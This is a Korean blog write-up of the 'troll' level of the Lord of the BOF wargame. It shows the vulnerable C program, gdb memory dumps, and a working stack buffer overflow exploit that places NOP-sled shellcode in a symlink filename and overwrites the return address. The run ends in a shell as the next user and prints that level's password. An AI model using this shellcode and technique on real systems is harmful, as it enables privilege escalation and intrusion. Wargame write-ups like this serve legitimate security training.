[orge@localhost orge]$ cat troll.c
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter 환경변수 제한
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') //0xbf로 시작하는 ret주소를 사용해야한다.
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument //argv[1]의 문자열이 48자를 넘으면 X
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter 버퍼 40자를 0으로 초기화한다.
memset(buffer, 0, 40);
// one more! argv[1]을 모두 0으로 초기화한다.
memset(argv[1], 0, strlen(argv[1]));
}
프로그램이 메모리에 올라가면 커널 아래와 스택위 주소에 etc라는 영역에 프로그램에 대한 정보가 들어간다. 아래와 같이 메모리에 써진 문자열을 보면 여러정보가 담겨있는데 우리는 프로그램의 이름을 이용하기로 한다. ln -s 심볼릭링크를 이용해서 troll프로그램에 쉘코드를 링크로 걸어주고 실행시켜주면 쉘코드가 etc영역에 들어가게 된다.
(gdb) x/100s 0xbfffffff-1000
0xbffffc17: ""
0xbffffc18: ""
0xbffffc19: ""
0xbffffc1a: ""
0xbffffc1b: ""
0xbffffc1c: ""
0xbffffc1d: ""
0xbffffc1e: "i686"
0xbffffc23: "/home/orge/tmp/./troll"
0xbffffc3a: "AAAA"
0xbffffc3f: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbffffc61: "USERNAME="
0xbffffc6b: "HISTSIZE=1000"
0xbffffc79: "HOSTNAME=localhost.localdomain"
0xbffffc98: "LOGNAME=orge"
0xbffffca5: "MAIL=/var/spool/mail/orge"
0xbffffcbf: "MACHTYPE=i386-redhat-linux-gnu"
0xbffffcde: "TERM=xterm-color"
0xbffffcef: "HOSTTYPE=i386"
0xbffffcfd: "PATH=/bin:/usr/bin:/usr/local/bin:/usr/bin/X11:/usr/X11R6/bin:/home/orge/bin"
0xbffffd4a: "OLDPWD=/home/orge"
0xbffffd5c: "HOME=/home/orge"
0xbffffd6c: "INPUTRC=/etc/inputrc"
0xbffffd81: "SHELL=/bin/bash"
0xbffffd91: "USER=orge"
0xbffffd9b: "BASH_ENV=/home/orge/.bashrc"
0xbffffdb7: "DISPLAY=/tmp/launch-SS2sdZ/org.macosforge.xquartz:0"
0xbffffdeb: "LANG=en_US"
0xbffffdf6: "OSTYPE=linux-gnu"
0xbffffe07: "PWD=/home/orge/tmp"
0xbffffe1a: "SHLVL=2"
0xbffffe22: "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01"...
0xbffffeea: ";32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;3"...
---Type <return> to continue, or q <return> to quit---
0xbfffffb2: "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
0xbfffffe5: "/home/orge/tmp/./troll"
출처 : http://orang.tistory.com/entry/%ED%95%B4%EC%BB%A4%EC%8A%A4%EC%BF%A8-LOB-orge-troll-by-ORANG
기존의 쉘코드를 이용하여 링크를 걸어보려고 했으나 쉘코드의 '\x2f'가 '/'로 인식되어 링크가 정상적으로 걸리지 않았다. 그래서 '0x2f'가 없는 쉘코드를 이용하여 링크를 걸어준다.
[orge@localhost orge]$ ln -s trol2 `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`
[orge@localhost orge]$ ulimit -c 1024
[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
Segmentation fault (core dumped)
코어덤프를 유도하여 gdb로 etc영역을 살펴보기로 한다.
[orge@localhost orge]$ gdb ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` ./core
(gdb) x/256x 0xbfffffff -256
0xbffffeff: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff0f: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff1f: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff2f: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff3f: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff4f: 0x90902f2e 0x90909090 0x90909090 0x90909090
0xbfffff5f: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff6f: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff7f: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff8f: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff9f: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffaf: 0x90909090 0xc5d99090 0xf42474d9 0x69c315b8
0xbfffffbf: 0xc9295dd7 0x45310bb1 0x1a45031a 0xe204c583
0xbfffffcf: 0x8f62a9e0 0x47137c93 0x7052e38e 0x1717ccb8
0xbfffffdf: 0x85f77b38 0xa98e1551 0x2d9801f3 0x4fb6d1f3
0xbfffffef: 0xfce7bf9a 0x51af4034 0xd682a14d 0x00000000
프로그램 이름이 0xbfffff52부터 시작되는 것을 알 수 있었다. 원본 파일에 심볼릭 링크를 걸어주고
[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`
<<낮은주소--- 버퍼(40) | sfp (4) | ret = etc영역중 어느 nop의 주소 (4) | ---높은주소>>
[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90"*44+"\x6f\xff\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒o▒▒▒
bash$ whoami
troll
bash$ my-pass
euid = 508
aspirin
2. argv[2]를 이용하는 방법도 있다.
'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글
10.lob vampire->skeleton (0) | 2018.01.08 |
---|---|
09.lob troll->vampire (0) | 2018.01.08 |
07.lob darkelf->orge (0) | 2018.01.08 |
06.lob wolfman->darkelf (0) | 2018.01.08 |
05.lob orc->wolfman (0) | 2018.01.07 |